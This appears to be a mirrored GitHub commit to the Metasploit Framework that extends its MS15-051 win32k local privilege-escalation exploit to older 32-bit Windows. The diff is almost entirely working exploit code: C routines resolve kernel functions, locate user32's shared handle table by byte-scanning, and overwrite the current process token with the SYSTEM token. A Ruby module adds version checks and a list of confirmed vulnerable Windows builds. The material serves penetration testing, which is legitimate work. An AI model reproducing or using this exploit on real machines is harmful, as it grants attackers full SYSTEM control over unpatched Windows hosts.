mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-02 07:40:19 +02:00
Support older targets x86 for MS15-051
This commit is contained in:
parent
e3d1a34c66
commit
2206a6af73
@ -35,7 +35,14 @@
|
||||
#define HMUNIQSHIFT 16
|
||||
|
||||
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
|
||||
typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process);
|
||||
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
|
||||
IN HANDLE ProcessId,
|
||||
OUT PVOID Process
|
||||
);
|
||||
|
||||
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
|
||||
_Inout_ PVOID Process
|
||||
);
|
||||
|
||||
typedef PVOID PHEAD;
|
||||
|
||||
@ -65,19 +72,13 @@ typedef struct _SHAREDINFO {
|
||||
|
||||
static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");
|
||||
|
||||
pPLPBPI g_PsLookupProcessByProcessIdPtr = NULL;
|
||||
lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL;
|
||||
lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL;
|
||||
pUser32_ClientCopyImage g_originalCCI = NULL;
|
||||
PVOID g_ppCCI = NULL, g_w32theadinfo = NULL;
|
||||
int g_shellCalled = 0;
|
||||
DWORD g_OurPID;
|
||||
|
||||
|
||||
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
|
||||
_Inout_ PVOID Process
|
||||
);
|
||||
|
||||
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
|
||||
|
||||
typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
|
||||
|
||||
NTSTATUS NTAPI RtlGetVersion(
|
||||
@ -230,17 +231,7 @@ BOOLEAN supIsProcess32bit(
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* GetPsLookupProcessByProcessId
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Return address of PsLookupProcessByProcessId routine to be used next by shellcode.
|
||||
*
|
||||
*/
|
||||
ULONG_PTR GetPsLookupProcessByProcessId(
|
||||
VOID
|
||||
)
|
||||
BOOL GetShellCodeFunctions(VOID)
|
||||
{
|
||||
BOOL cond = FALSE;
|
||||
ULONG rl = 0;
|
||||
@ -248,7 +239,7 @@ ULONG_PTR GetPsLookupProcessByProcessId(
|
||||
ULONG_PTR KernelBase = 0L, FuncAddress = 0L;
|
||||
PRTL_PROCESS_MODULES miSpace = NULL;
|
||||
CHAR KernelFullPathName[MAX_PATH * 2];
|
||||
|
||||
BOOL bSuccess = FALSE;
|
||||
|
||||
do {
|
||||
|
||||
@ -278,12 +269,12 @@ ULONG_PTR GetPsLookupProcessByProcessId(
|
||||
break;
|
||||
}
|
||||
|
||||
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
|
||||
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)KernelBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)MappedKernel));
|
||||
|
||||
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
|
||||
FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel;
|
||||
g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
|
||||
|
||||
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
|
||||
g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
|
||||
bSuccess = TRUE;
|
||||
} while (cond);
|
||||
|
||||
if (MappedKernel != NULL) {
|
||||
@ -293,7 +284,39 @@ ULONG_PTR GetPsLookupProcessByProcessId(
|
||||
HeapFree(GetProcessHeap(), 0, miSpace);
|
||||
}
|
||||
|
||||
return FuncAddress;
|
||||
return bSuccess;
|
||||
}
|
||||
|
||||
PSHAREDINFO GetSharedInfo(VOID) {
|
||||
HMODULE huser32;
|
||||
PSHAREDINFO pSharedInfo = NULL;
|
||||
DWORD dwCursor = 0;
|
||||
|
||||
huser32 = GetModuleHandle(TEXT("user32.dll"));
|
||||
if (huser32 == NULL)
|
||||
return pSharedInfo;
|
||||
|
||||
pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo"));
|
||||
|
||||
#ifndef _M_X64
|
||||
PVOID pUser32InitializeImmEntryTable;
|
||||
|
||||
/* user32!gSharedInfo resoultion for x86 systems < Windows 7 */
|
||||
if (pSharedInfo != NULL)
|
||||
return pSharedInfo;
|
||||
|
||||
pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable"));
|
||||
|
||||
for (dwCursor = 0; dwCursor < 0x80; dwCursor++) {
|
||||
if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 )
|
||||
continue;
|
||||
if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68)
|
||||
continue;
|
||||
return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2));
|
||||
}
|
||||
#endif
|
||||
|
||||
return pSharedInfo;
|
||||
}
|
||||
|
||||
/*
|
||||
@ -304,28 +327,22 @@ ULONG_PTR GetPsLookupProcessByProcessId(
|
||||
* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
|
||||
*
|
||||
*/
|
||||
HWND GetFirstThreadHWND(
|
||||
VOID
|
||||
)
|
||||
HWND GetFirstThreadHWND(VOID)
|
||||
{
|
||||
PSHAREDINFO pse;
|
||||
HMODULE huser32;
|
||||
PHANDLEENTRY List;
|
||||
ULONG_PTR c, k;
|
||||
|
||||
huser32 = GetModuleHandle(TEXT("user32.dll"));
|
||||
if (huser32 == NULL)
|
||||
return 0;
|
||||
|
||||
pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo");
|
||||
if (pse == NULL)
|
||||
pse = GetSharedInfo();
|
||||
if (pse == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
List = pse->aheList;
|
||||
k = pse->psi->cHandleEntries;
|
||||
|
||||
if (pse->HeEntrySize != sizeof(HANDLEENTRY))
|
||||
return 0;
|
||||
//if (pse->HeEntrySize != sizeof(HANDLEENTRY))
|
||||
//return 0;
|
||||
|
||||
//
|
||||
// Locate, convert and return hwnd for current thread.
|
||||
@ -334,12 +351,11 @@ HWND GetFirstThreadHWND(
|
||||
if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
|
||||
return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Search the specified data structure for a member with CurrentValue.
|
||||
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
|
||||
BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
|
||||
{
|
||||
DWORD_PTR dwIndex, dwMask;
|
||||
|
||||
@ -376,29 +392,25 @@ BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue,
|
||||
* Copy system token to current process object.
|
||||
*
|
||||
*/
|
||||
NTSTATUS NTAPI StealProcessToken(
|
||||
VOID
|
||||
)
|
||||
NTSTATUS NTAPI StealProcessToken(VOID)
|
||||
{
|
||||
NTSTATUS Status;
|
||||
PVOID CurrentProcess = NULL;
|
||||
PVOID SystemProcess = NULL;
|
||||
void *pMyProcessInfo = NULL;
|
||||
void *pSystemInfo = NULL;
|
||||
PACCESS_TOKEN systemToken;
|
||||
PACCESS_TOKEN targetToken;
|
||||
|
||||
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess);
|
||||
if (NT_SUCCESS(Status)) {
|
||||
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess);
|
||||
if (NT_SUCCESS(Status)) {
|
||||
PACCESS_TOKEN targetToken = pPsReferencePrimaryToken(CurrentProcess);
|
||||
PACCESS_TOKEN systemToken = pPsReferencePrimaryToken(SystemProcess);
|
||||
g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo);
|
||||
g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
find_and_replace_member((PDWORD_PTR)CurrentProcess,
|
||||
(DWORD_PTR)targetToken,
|
||||
(DWORD_PTR)systemToken,
|
||||
0x200);
|
||||
}
|
||||
}
|
||||
return Status;
|
||||
targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo);
|
||||
systemToken = g_pPsReferencePrimaryToken(pSystemInfo);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo,
|
||||
(DWORD_PTR)targetToken,
|
||||
(DWORD_PTR)systemToken,
|
||||
0x200);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@ -476,9 +488,9 @@ void win32k_client_copy_image(LPVOID lpPayload)
|
||||
}
|
||||
|
||||
g_OurPID = GetCurrentProcessId();
|
||||
g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId();
|
||||
GetShellCodeFunctions();
|
||||
|
||||
if (g_PsLookupProcessByProcessIdPtr == NULL) {
|
||||
if (g_pPsLookupProcessByProcessId == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -26,9 +26,10 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Unknown', # vulnerability discovery and exploit in the wild
|
||||
'hfirefox', # Code released on github
|
||||
'OJ Reeves' # msf module
|
||||
'Unknown', # vulnerability discovery and exploit in the wild
|
||||
'hfirefox', # Code released on github
|
||||
'OJ Reeves', # msf module
|
||||
'Spencer McIntyre' # msf module
|
||||
],
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'Platform' => 'win',
|
||||
@ -57,10 +58,15 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
def check
|
||||
# Windows XP SP3 (32-bit) 5.1.2600.6514 (Works)
|
||||
# Windows Server 2003 Standard SP2 (32-bit) 5.2.3790.5445 (Works)
|
||||
# Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work)
|
||||
# Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works)
|
||||
# Windows 7 SP1 (64-bit) 6.1.7601.17514 (Works)
|
||||
# Windows 7 SP1 (64-bit) 6.1.7601.17535 (Works)
|
||||
# Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works)
|
||||
# Windows 7 SP1 (32-bit) 6.1.7601.18388 (Works)
|
||||
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
|
||||
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works)
|
||||
|
||||
if sysinfo['OS'] !~ /windows/i
|
||||
return Exploit::CheckCode::Unknown
|
||||
@ -76,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
major, minor, build, revision, branch = file_version(file_path)
|
||||
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||
|
||||
return Exploit::CheckCode::Safe if build == 7601
|
||||
return Exploit::CheckCode::Safe if build > 7601
|
||||
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
@ -86,7 +92,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
fail_with(Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown
|
||||
check_result = check
|
||||
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||
end
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user